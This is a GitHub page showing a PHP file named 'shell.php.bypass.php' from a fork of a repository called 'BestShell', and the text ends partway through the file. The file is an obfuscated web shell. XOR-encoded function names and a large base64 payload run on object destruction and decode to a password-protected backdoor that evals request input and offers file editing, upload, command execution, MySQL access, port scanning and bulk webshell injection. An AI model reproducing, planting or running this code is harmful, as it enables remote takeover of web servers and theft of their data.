forked from Kevil-hui/BestShell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshell.php.bypass.php
10 lines (10 loc) · 200 KB
/
shell.php.bypass.php
1
2
3
4
5
6
7
8
9
10
<?php
class PIYN{
function __destruct(){
$this->PTHD('Jnt-}+'^"\x2b\x1d\x7\x48\xf\x5f",array(('a<J%'^"\x4\x4a\x2b\x49")."(base64_decode('DQpoZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD1nYmsiKTsNCiRwYXNzd29yZD0neXpkZG1yNic7DQokc2hlbGxuYW1lPSdIZWxsbyBCeSB5emRkbXI2JzsNCiRteXVybD1udWxsOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kb2Jfc3RhcnQoKTsNCmRlZmluZSgnbXlhZGRyZXNzJywkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KZGVmaW5lKCdwb3N0cGFzcycsJHBhc3N3b3JkKTsNCmRlZmluZSgnc2hlbGxuYW1lJywkc2hlbGxuYW1lKTsNCmRlZmluZSgnbXl1cmwnLCRteXVybCk7DQppZihAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQoJZm9yZWFjaCgkX1BPU1QgYXMgJGsgPT4gJHYpICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KCWZvcmVhY2goJF9HRVQgYXMgJGsgPT4gJHYpICRfR0VUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQp9DQppZihpc3NldCgkX1JFUVVFU1RbcG9zdHBhc3NdKSl7DQpobWxvZ2luKDIpOw0KQGV2YWwoJF9SRVFVRVNUW3Bvc3RwYXNzXSk7DQpleGl0O30NCmlmKCRfQ09PS0lFWydwb3N0cGFzcyddICE9IG1kNShwb3N0cGFzcykpew0KCWlmKCRfUE9TVFsncG9zdHBhc3MnXSl7DQoJCWlmKCRfUE9TVFsncG9zdHBhc3MnXSA9PSBwb3N0cGFzcyl7DQoJCQlzZXRjb29raWUoJ3Bvc3RwYXNzJyxtZDUoJF9QT1NUWydwb3N0cGFzcyddKSk7DQoJCQlobWxvZ2luKCk7DQoJCX1lbHNlew0KCQkJZWNobyAnPENFTlRFUj7Tw7unu/LD3MLrtO3O8zwvQ0VOVEVSPic7DQoJCX0NCgl9DQoJaXNsb2dpbigkc2hlbGxuYW1lLCRteXVybCk7DQoJZXhpdDsNCn0NCg0KaWYoaXNzZXQoJF9HRVRbJ2Rvd24nXSkpIGRvX2Rvd24oJF9HRVRbJ2Rvd24nXSk7DQppZihpc3NldCgkX0dFVFsncGFjayddKSl7DQoJJGRpciA9IGRvX3Nob3coJF9HRVRbJ3BhY2snXSk7DQoJJHppcCA9IG5ldyBlYW52ZXIoJGRpcik7DQoJJG91dCA9ICR6aXAtPm91dDsNCglkb19kb3dubG9hZCgkb3V0LCRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLnRhci5neiIpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ3VuemlwJ10pKXsNCgljc3NfbWFpbigpOw0KCXN0YXJ0X3VuemlwKCRfR0VUWyd1bnppcCddLCRfR0VUWyd1bnppcCddLCRfR0VUWyd0b2RpciddKTsNCglleGl0Ow0KfQ0KDQpkZWZpbmUoJ3Jvb3RfZGlyJyxzdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKG15YWRkcmVzcykpLicvJyk7DQpkZWZpbmUoJ3J1bl93aW4nLHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICJXSU4iKTsNCmRlZmluZSgnbXlfc2hlbGwnLHN0cl9wYXRoKHJvb3RfZGlyLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7DQokZWFudmVyID0gaXNzZXQoJF9HRVRbJ2VhbnZlciddKSA/ICRfR0VUWydlYW52ZXInXSA6ICIiOw0KJGRvaW5nID0gaXNzZXQoJF9QT1NUWydkb2luZyddKSA/ICRfUE9TVFsnZG9pbmcnXSA6ICIiOw0KJHBhdGggPSBpc3NldCgkX0dFVFsncGF0aCddKSA/ICRfR0VUWydwYXRoJ10gOiByb290X2RpcjsNCiRuYW1lID0gaXNzZXQoJF9QT1NUWyduYW1lJ10pID8gJF9QT1NUWyduYW1lJ10gOiAiIjsNCiRpbWcgPSBpc3NldCgkX0dFVFsnaW1nJ10pID8gJF9HRVRbJ2ltZyddIDogIiI7DQokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6ICIiOw0KJHBwID0gdXJsZW5jb2RlKGRpcm5hbWUoJHApKTsNCmlmKCRpbWcpIGNzc19pbWcoJGltZyk7DQppZigkZWFudmVyID09ICJwaHBpbmZvIikgZGllKHBocGluZm8oKSk7DQppZigkZWFudmVyID09ICdsb2dvdXQnKXsNCglzZXRjb29raWUoJ3Bvc3RwYXNzJyxudWxsKTsNCglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT8iPicpOw0KfQ0KDQokY2xhc3MgPSBhcnJheSgNCiLQxc+istnX9yIgPT4gYXJyYXkoInVwZmlsZXMiID0+ICLJz7SrzsS8/iIsInBocGluZm8iID0+ICK7+bG+0MXPoiIsImluZm9fZiIgPT4gIs+1zbPQxc+iIiwicGhwY29kZSIgPT4gIta00NBQSFC9xbG+IiksDQoizOHIqLmkvt8iID0+IGFycmF5KCJzcWxzaGVsbCIgPT4gIta00NBTUUzWtNDQIiwibXlzcWxfZXhlYyIgPT4gIk1ZU1FMstnX9yIsIm15ZXhwIiA9PiAiTVlTUUzM4cioIiwic2VydnUiID0+ICJTZXJ2LVXM4cioIiwiY21kIiA9PiAi1rTQ0MP8we4iLCJsaW51eCIgPT4gIre0ta/M4cioIiwiZG93bmxvYWRlciIgPT4gIs7EvP7PwtTYIiwicG9ydCIgPT4gIrbLv9rJqMPoIiksDQoixfrBv7LZ1/ciID0+IGFycmF5KCJndWFtYSIgPT4gIsX6wb+50sLtx+XC7SIsInRpaHVhbiIgPT4gIsX6wb/M5ru7xNrI3SIsInNjYW5maWxlIiA9PiAixfrBv8vRy/fOxLz+Iiwic2NhbnBocCIgPT4gIsX6wb+y6dXSxL7C7SIpLA0KIr3Fsb6y5bz+IiA9PiBhcnJheSgiZ2V0Y29kZSIgPT4gItTaz9+0+sDtIikNCik7DQokbXNnID0gYXJyYXkoIjAiID0+ICKxo7Tms8m5piIsIjEiID0+ICKxo7Tmyqew3CIsIjIiID0+ICLJz7Srs8m5piIsIjMiID0+ICLJz7Sryqew3CIsIjQiID0+ICLQ3rjEs8m5piIsIjUiID0+ICLQ3rjEyqew3CIsIjYiID0+ICLJvrP9s8m5piIsIjciID0+ICLJvrP9yqew3CIpOw0KY3NzX21haW4oKTsNCnN3aXRjaCgkZWFudmVyKXsNCgljYXNlICJsZWZ0IjoNCgljc3NfbGVmdCgpOw0KCQlodG1sX24oIjxkbD48ZHQ+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2hvd0hpZGUoJ2l0ZW1zMScpO1wiIHRhcmdldD1cIl9zZWxmXCI+Iik7DQoJCWh0bWxfaW1nKCJ0aXRsZSIpO2h0bWxfbigiILG+tdjTssXMPC9hPjwvZHQ+PGRkIGlkPVwiaXRlbXMxXCIgc3R5bGU9XCJkaXNwbGF5OmJsb2NrO1wiPjx1bD4iKTsNCiAgICAkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsNCiAgICBodG1sX24oIjxsaT48YSB0aXRsZT0nJFJPT1RfRElSJyBocmVmPSc/ZWFudmVyPW1haW4mcGF0aD0kUk9PVF9ESVInIHRhcmdldD0nbWFpbic+zfjVvrj5xL/CvDwvYT48L2xpPiIpOw0KCWh0bWxfbigiPGxpPjxhIGhyZWY9Jz9lYW52ZXI9bWFpbicgdGFyZ2V0PSdtYWluJz6xvrPM0PLEv8K8PC9hPjwvbGk+Iik7DQoJZm9yICgkaT02NjskaTw9OTA7JGkrKyl7JGRyaXZlPSBjaHIoJGkpLic6JzsNCiAgICBpZiAoaXNfZGlyKCRkcml2ZS4iLyIpKXskdm9sPUZpbGVfU3RyKCJ2b2wgJGRyaXZlIik7aWYoZW1wdHkoJHZvbCkpJHZvbD0kZHJpdmU7DQogICAgaHRtbF9uKCI8bGk+PGEgdGl0bGU9JyRkcml2ZScgaHJlZj0nP2VhbnZlcj1tYWluJnBhdGg9JGRyaXZlJyB0YXJnZXQ9J21haW4nPrG+tdi0xcXMKCRkcml2ZSk8L2E+PC9saT4iKTt9fQ0KCWh0bWxfbigiPC91bD48L2RkPjwvZGw+Iik7DQoJJGkgPSAyOw0KCWZvcmVhY2goJGNsYXNzIGFzICRuYW1lID0+ICRhcnJheSl7DQoJCWh0bWxfbigiPGRsPjxkdD48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzaG93SGlkZSgnaXRlbXMkaScpO1wiIHRhcmdldD1cIl9zZWxmXCI+Iik7DQoJCWh0bWxfaW1nKCJ0aXRsZSIpO2h0bWxfbigiICRuYW1lPC9hPjwvZHQ+PGRkIGlkPVwiaXRlbXMkaVwiIHN0eWxlPVwiZGlzcGxheTpibG9jaztcIj48dWw+Iik7DQoJCWZvcmVhY2goJGFycmF5IGFzICR1cmwgPT4gJHZhbHVlKXsNCgkJCWh0bWxfbigiPGxpPjxhIGhyZWY9XCI/ZWFudmVyPSR1cmxcIiB0YXJnZXQ9J21haW4nPiR2YWx1ZTwvYT48L2xpPiIpOw0KCQl9DQoJCWh0bWxfbigiPC91bD48L2RkPjwvZGw+Iik7DQoJCSRpKys7DQoJfQ0KCWh0bWxfbigiPGRsPjxkdD48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzaG93SGlkZSgnaXRlbXMkaScpO1wiIHRhcmdldD1cIl9zZWxmXCI+Iik7DQoJaHRtbF9pbWcoInRpdGxlIik7aHRtbF9uKCIgxuTL/LLZ1/c8L2E+PC9kdD48ZGQgaWQ9XCJpdGVtcyRpXCIgc3R5bGU9XCJkaXNwbGF5OmJsb2NrO1wiPjx1bD4iKTsNCiAgICBodG1sX24oIjxsaT48YSB0aXRsZT0nsLLIq83Ls/YnIGhyZWY9Jz9lYW52ZXI9bG9nb3V0JyB0YXJnZXQ9XCJtYWluXCI+sLLIq83Ls/Y8L2E+PC9saT4iKTsNCglodG1sX24oIjwvdWw+PC9kZD48L2RsPiIpOw0KCWh0bWxfbigiPC9kaXY+Iik7DQoJYnJlYWs7DQoNCgljYXNlICJtYWluIjoNCgljc3NfanMoIjEiKTsNCgkkZGlyID0gQGRpcigkcGF0aCk7DQoJJFJFQUxfRElSID0gRmlsZV9TdHIocmVhbHBhdGgoJHBhdGgpKTsNCglpZighZW1wdHkoJF9QT1NUWydhY3RhbGwnXSkpe2VjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+Jy5GaWxlX0FjdCgkX1BPU1RbJ2ZpbGVzJ10sJF9QT1NUWydhY3RhbGwnXSwkX1BPU1RbJ2ludmVyJ10sJFJFQUxfRElSKS4nPC9kaXY+Jzt9DQoJJE5VTV9EID0gJE5VTV9GID0gMDsNCglpZighJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pICRHRVRVUkwgPSAnJzsgZWxzZSAkR0VUVVJMID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLicvJzsNCgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsNCglodG1sX24oIjx0YWJsZSB3aWR0aD1cIjEwMCVcIiBib3JkZXI9MCBiZ2NvbG9yPVwiIzU1NTU1NVwiPjx0cj48dGQ+PGZvcm0gbWV0aG9kPSdHRVQnPrXY1rc6PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZWFudmVyJyB2YWx1ZT0nbWFpbic+Iik7DQoJaHRtbF9uKCI8aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT0nODAnIG5hbWU9J3BhdGgnIHZhbHVlPSckcGF0aCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSfXqrW9Jz48L2Zvcm0+Iik7DQoJaHRtbF9uKCI8YnI+PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj0nP2VhbnZlcj1lZGl0ciZwPSIudXJsZW5jb2RlKCRwYXRoKS4iJz4iKTsNCglodG1sX24oIjxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgdmFsdWU9XCLQwr2ozsS8/lwiIG9uY2xpY2s9XCJydXN1cmVjaGsoJ25ld2ZpbGUucGhwJywnP2VhbnZlcj1lZGl0ciZwPSIudXJsZW5jb2RlKCRwYXRoKS4iJnJlZmlsZT0xJm5hbWU9Jyk7XCI+IDxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgdmFsdWU9XCLQwr2oxL/CvFwiIG9uY2xpY2s9XCJydXN1cmVjaGsoJ25ld2RpcicsJz9lYW52ZXI9ZWRpdHImcD0iLnVybGVuY29kZSgkcGF0aCkuIiZyZWRpcj0xJm5hbWU9Jyk7XCI+Iik7DQoJaHRtbF9pbnB1dCgiZmlsZSIsInVwZmlsZXQiLCIiLCImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgIik7DQoJaHRtbF9pbnB1dCgic3VibWl0IiwidXBsb2FkdCIsIsnPtKsiKTsNCglpZighZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKXsNCgkJaWYoaXNzZXQoJF9QT1NUWydiaW4nXSkpICRiaW4gPSAkX1BPU1RbJ2JpbiddOyBlbHNlICRiaW4gPSAid2IiOw0KICAgICAgICAkbmV3ZmlsZT1iYXNlNjRfZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTsNCgkJaWYoc3RydG9sb3dlcigkX1BPU1RbJ2NoYXJzZXQnXSk9PSd1dGYtOCcpeyR0eHQ9YmFzZTY0X2RlY29kZSgkX1BPU1RbJ3R4dCddKTt9ZWxzZXskdHh0PSRfUE9TVFsndHh0J107fQ0KICAgICAgICBpZiAoc3Vic3RyKFBIUF9WRVJTSU9OLDAsMSk+PTUpe2lmKChzdHJ0b2xvd2VyKCRfUE9TVFsnY2hhcnNldCddKT09J2diMjMxMicpIG9yIChzdHJ0b2xvd2VyKCRfUE9TVFsnY2hhcnNldCddKT09J2diaycpKXskdHh0PWljb252KCJVVEYtOCIsImdiMjMxMi8vSUdOT1JFIiAsYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3R4dCddKSk7fWVsc2V7JHR4dCA9IGFycmF5X2ljb252KCR0eHQpO319DQoJCWVjaG8gZG9fd3JpdGUoJG5ld2ZpbGUsJGJpbiwkdHh0KSA/ICc8YnI+Jy4kbmV3ZmlsZS4nICcuJG1zZ1swXSA6ICc8YnI+Jy4kbmV3ZmlsZS4nICcuJG1zZ1sxXTsNCgkJQHRvdWNoKCRuZXdmaWxlLEBzdHJ0b3RpbWUoJF9QT1NUWyd0aW1lJ10pKTsNCgl9DQoJaHRtbF9uKCc8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJmaWxlYWxsIiBpZD0iZmlsZWFsbCIgYWN0aW9uPSI/ZWFudmVyPW1haW4mcGF0aD0nLiRwYXRoLiciPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPTAgYmdjb2xvcj0iIzU1NTU1NSI+PHRyIGhlaWdodD0iMjUiPjx0ZCB3aWR0aD0iNDUlIj48Yj4nKTsNCglodG1sX2EoJz9lYW52ZXI9bWFpbiZwYXRoPScudXBwYXRoKCRwYXRoKSwnPGI+yc+8tsS/wrw8L2I+Jyk7DQoJaHRtbF9uKCc8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+stnX9zwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNSUiPjxiPs7EvP7K9NDUPC9iPjwvdGQ+Jyk7DQoJaHRtbF9uKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjglIj48Yj4oJy5nZXRfY3VycmVudF91c2VyKCkuJynTw7unfNfpPC9iPjwvdGQ+Jyk7DQoJaHRtbF9uKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+0N64xMqxvOQ8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+zsS8/rTz0KE8L2I+PC90ZD48L3RyPicpOw0KCXdoaWxlKCRkaXJzID0gQCRkaXItPnJlYWQoKSl7DQoJCWlmKCRkaXJzID09ICcuJyBvciAkZGlycyA9PSAnLi4nKSBjb250aW51ZTsNCgkJJGRpcnBhdGggPSBzdHJfcGF0aCgiJHBhdGgvJGRpcnMiKTsNCgkJaWYoaXNfZGlyKCRkaXJwYXRoKSl7DQoJCQkkcGVybSA9IHN1YnN0cihiYXNlX2NvbnZlcnQoZmlsZXBlcm1zKCRkaXJwYXRoKSwxMCw4KSwtNCk7DQoJCQkkZmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJGRpcnBhdGgpKTsNCgkJCSRkaXJwYXRoID0gdXJsZW5jb2RlKCRkaXJwYXRoKTsNCgkJCWh0bWxfbignPHRyIGhlaWdodD0iMjUiPjx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZpbGVzW10iIHZhbHVlPSInLiRkaXJzLiciPicpOw0KCQkJaHRtbF9pbWcoImRpciIpOw0KCQkJaHRtbF9hKCc/ZWFudmVyPW1haW4mcGF0aD0nLiRkaXJwYXRoLCRkaXJzKTsNCgkJCWh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7DQoJCQlodG1sX24oIjxhIGhyZWY9XCIjXCIgb25DbGljaz1cInJ1c3VyZWNoaygnJGRpcnMnLCc/ZWFudmVyPXJlbmFtZSZwPSRkaXJwYXRoJm5ld25hbWU9Jyk7cmV0dXJuIGZhbHNlO1wiPrjEw/s8L2E+Iik7DQoJCQlodG1sX24oIjxhIGhyZWY9XCIjXCIgb25DbGljaz1cInJ1c3VyZWRlbCgnJGRpcnMnLCc/ZWFudmVyPWRlbHRyZWUmcD0kZGlycGF0aCcpO3JldHVybiBmYWxzZTtcIj7JvrP9PC9hPiAiKTsNCgkJCWh0bWxfYSgnP3BhY2s9Jy4kZGlycGF0aCwntPKw/CcpOw0KCQkJaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nKTsNCgkJCWh0bWxfYSgnP2VhbnZlcj1wZXJtJnA9Jy4kZGlycGF0aC4nJmNobW9kPScuJHBlcm0sJHBlcm0pOw0KICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLkdldEZpbGVPd25lcigiJHBhdGgvJGRpcnMiKS4nOicuR2V0RmlsZUdyb3VwKCIkcGF0aC8kZGlycyIpKTsNCgkJCWh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kZmlsZXRpbWUuJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jyk7DQoJCQlodG1sX24oJzwvdGQ+PC90cj4nKTsNCgkJCSROVU1fRCsrOw0KCQl9DQoJfQ0KCUAkZGlyLT5yZXdpbmQoKTsNCgl3aGlsZSgkZmlsZXMgPSBAJGRpci0+cmVhZCgpKXsNCgkJaWYoJGZpbGVzID09ICcuJyBvciAkZmlsZXMgPT0gJy4uJykgY29udGludWU7DQoJCSRmaWxlcGF0aCA9IHN0cl9wYXRoKCIkcGF0aC8kZmlsZXMiKTsNCgkJaWYoIWlzX2RpcigkZmlsZXBhdGgpKXsNCgkJCSRmc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZXBhdGgpOw0KCQkJJGZzaXplID0gRmlsZV9TaXplKCRmc2l6ZSk7DQoJCQkkcGVybSAgPSBzdWJzdHIoYmFzZV9jb252ZXJ0KGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCgkJCSRmaWxldGltZSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCSRGaWxldXJscyA9IHN0cl9yZXBsYWNlKEZpbGVfU3RyKCRST09UX0RJUi4nLycpLCRHRVRVUkwsJGZpbGVwYXRoKTsNCgkJCSR0b2Rpcj0kUk9PVF9ESVIuJy96aXBmaWxlJzsNCgkJCSRmaWxlcGF0aCA9IHVybGVuY29kZSgkZmlsZXBhdGgpOw0KCQkJJGl0PXN1YnN0cigkZmlsZXBhdGgsLTMpOw0KCQkJaHRtbF9uKCc8dHIgaGVpZ2h0PSIyNSI+PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZmlsZXNbXSIgdmFsdWU9IicuJGZpbGVzLiciPicpOw0KCQkJaHRtbF9pbWcoY3NzX3Nob3dpbWcoJGZpbGVzKSk7DQoJCQlodG1sX2EoJEZpbGV1cmxzLCRmaWxlcywndGFyZ2V0PSJfYmxhbmsiJyk7DQoJCQlodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOw0KICAgICAgICAgICAgaWYoKCRpdD09Jy5neicpIG9yICgkaXQ9PSd6aXAnKSBvciAoJGl0PT0ndGFyJykgb3IgKCRpdD09Jy43eicpKQ0KCQkJICAgaHRtbF9hKCc/dW56aXA9Jy4kZmlsZXBhdGgsJ73i0bknLCd0aXRsZT0iveLRuScuJGZpbGVzLiciIG9uQ2xpY2s9InJ1c3VyZWNoayhcJycuJHRvZGlyLidcJyxcJz91bnppcD0nLiRmaWxlcGF0aC4nJnRvZGlyPVwnKTtyZXR1cm4gZmFsc2U7IicpOw0KCQkJZWxzZQ0KICAgICAgICAgICAgICAgaHRtbF9hKCc/ZWFudmVyPWVkaXRyJnA9Jy4kZmlsZXBhdGgsJ7HgvK0nLCd0aXRsZT0iseC8rScuJGZpbGVzLiciJyk7DQoNCgkJCWh0bWxfbigiPGEgaHJlZj1cIiNcIiBvbkNsaWNrPVwicnVzdXJlY2hrKCckZmlsZXMnLCc/ZWFudmVyPXJlbmFtZSZwPSRmaWxlcGF0aCZuZXduYW1lPScpO3JldHVybiBmYWxzZTtcIj64xMP7PC9hPiIpOw0KCQkJaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVkZWwoJyRmaWxlcycsJz9lYW52ZXI9ZGVsJnA9JGZpbGVwYXRoJyk7cmV0dXJuIGZhbHNlO1wiPsm+s/08L2E+ICIpOw0KCQkJaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyIudXJsZGVjb2RlKCRmaWxlcGF0aCkuIicsJz9lYW52ZXI9Y29weSZwPSRmaWxlcGF0aCZuZXdjb3B5PScpO3JldHVybiBmYWxzZTtcIj64tNbGPC9hPiIpOw0KCQkJaHRtbF9hKCc/ZG93bj0nLiRmaWxlcGF0aCwnz8LU2CcsJ7HgvK0nLCd0aXRsZT0iz8LU2CcuJGZpbGVzLiciJyk7DQoJCQlodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOw0KCQkJaHRtbF9hKCc/ZWFudmVyPXBlcm0mcD0nLiRmaWxlcGF0aC4nJmNobW9kPScuJHBlcm0sJHBlcm0pOw0KICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLkdldEZpbGVPd25lcigiJHBhdGgvJGZpbGVzIikuJzonLkdldEZpbGVHcm91cCgiJHBhdGgvJGZpbGVzIikpOw0KCQkJaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLiRmaWxldGltZS4nPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4nKTsNCgkJCWh0bWxfYSgnP2Rvd249Jy4kZmlsZXBhdGgsJGZzaXplLCd0aXRsZT0iz8LU2CcuJGZpbGVzLiciJyk7DQoJCQlodG1sX24oJzwvdGQ+PC90cj4nKTsNCgkJCSROVU1fRisrOw0KCQl9DQoJfQ0KCUAkZGlyLT5jbG9zZSgpOw0KCWlmKCEkRmlsZXRpbWUpICRGaWxldGltZSA9IGdtZGF0ZSgnWS1tLWQgSDppOnMnLHRpbWUoKSArIDM2MDAgKiA4KTsNCnByaW50PDw8RU5EDQo8L3RhYmxlPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImFjdGFsbCIgbmFtZT0iYWN0YWxsIiB2YWx1ZT0idW5kZWZpbmVkIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJpbnZlciIgbmFtZT0iaW52ZXIiIHZhbHVlPSJ1bmRlZmluZWQiPg0KPGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKTsiPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Iri01sYiIG9uY2xpY2s9IlN1Ym1pdFVybCgnuLTWxsv50aHOxLz+tb3Ct762OiAnLCd7JFJFQUxfRElSfScsJ2EnKTtyZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLJvrP9IiBvbmNsaWNrPSJEZWxvaygny/nRoc7EvP4nLCdiJyk7cmV0dXJuIGZhbHNlOyI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyvTQ1CIgb25jbGljaz0iU3VibWl0VXJsKCfQ3rjEy/nRoc7EvP7K9NDU1rXOqjogJywnMDY2NicsJ2MnKTtyZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLKsbzkIiBvbmNsaWNrPSJDaGVja0RhdGUoJ3skRmlsZXRpbWV9JywnZCcpO3JldHVybiBmYWxzZTsiPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrTysPwiIG9uY2xpY2s9IlN1Ym1pdFVybCgntPKw/LKiz8LU2Mv50aHOxLz+z8LU2MP7zqo6ICcsJ3skX1NFUlZFUlsnU0VSVkVSX05BTUUnXX0udGFyLmd6JywnZScpO3JldHVybiBmYWxzZTsiPg0KxL/CvCh7JE5VTV9EfSkgLyDOxLz+KHskTlVNX0Z9KTwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KCWJyZWFrOw0KDQoJY2FzZSAiZWRpdHIiOg0KcHJpbnQ8PDxFTkQNCjxzY3JpcHQ+DQpFTkQ7DQpodG1sX2Jhc2UoKTsNCnByaW50PDw8RU5EDQoJPC9zY3JpcHQ+DQpFTkQ7DQoJY3NzX2pzKCIyIik7DQoJaWYoIWVtcHR5KCRfUE9TVFsndXBsb2FkdCddKSl7DQoJCWVjaG8gQGNvcHkoJF9GSUxFU1sndXBmaWxldCddWyd0bXBfbmFtZSddLHN0cl9wYXRoKCRwLicvJy4kX0ZJTEVTWyd1cGZpbGV0J11bJ25hbWUnXSkpID8gaHRtbF9hKCI/ZWFudmVyPW1haW4iLCRfRklMRVNbJ3VwZmlsZXQnXVsnbmFtZSddLicgJy4kbXNnWzJdKSA6IG1zZygkbXNnWzNdKTsNCgkJZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/ZWFudmVyPW1haW4mcGF0aD0nLnVybGVuY29kZSgkcCkuJyI+Jyk7DQoJfQ0KCWlmKCFlbXB0eSgkX0dFVFsncmVkaXInXSkpew0KICAgICAgICAkbmFtZT0kX0dFVFsnbmFtZSddOw0KCQkkbmV3ZGlyID0gc3RyX3BhdGgoJHAuJy8nLiRuYW1lKTsNCgkJQG1rZGlyKCRuZXdkaXIsMDc3NykgPyBodG1sX2EoIj9lYW52ZXI9bWFpbiIsJG5hbWUuJyAnLiRtc2dbMF0pIDogbXNnKCRtc2dbMV0pOw0KCQlkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT9lYW52ZXI9bWFpbiZwYXRoPScudXJsZW5jb2RlKCRwKS4nIj4nKTsNCgl9DQoNCglpZighZW1wdHkoJF9HRVRbJ3JlZmlsZSddKSl7DQogICAgICAgICRuYW1lPSRfR0VUWyduYW1lJ107DQoJCSRqc3BhdGg9dXJsZW5jb2RlKCRwLicvJy4kbmFtZSk7DQoJCSRwcCA9IHVybGVuY29kZSgkcCk7DQoJCSRwID0gc3RyX3BhdGgoJHAuJy8nLiRuYW1lKTsNCgkJJEZJTEVfQ09ERSA9ICIiOw0KCQkkY2hhcnNldD0gJ0dCMjMxMic7DQogICAgICAgICRGSUxFX1RJTUUgPWRhdGUoJ1ktbS1kIEg6aTpzJyx0aW1lKCkrMzYwMCo4KTsNCgkJaWYoQGZpbGVfZXhpc3RzKCRwKSkgZWNobyAnt6LP1sS/wrzPwtPQIs2sw/sizsS8/jxicj4nOw0KCX1lbHNlew0KCQkkanNwYXRoPXVybGVuY29kZSgkcCk7DQoJCSRGSUxFX1RJTUUgPSBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRwKSk7DQogICAgICAgICRGSUxFX0NPREU9QGZpbGVfZ2V0X2NvbnRlbnRzKCRwKTsNCgkgICAgIGlmIChzdWJzdHIoUEhQX1ZFUlNJT04sMCwxKT49NSl7DQogICAgICAgICAgICBpZihlbXB0eSgkX0dFVFsnY2hhcnNldCdd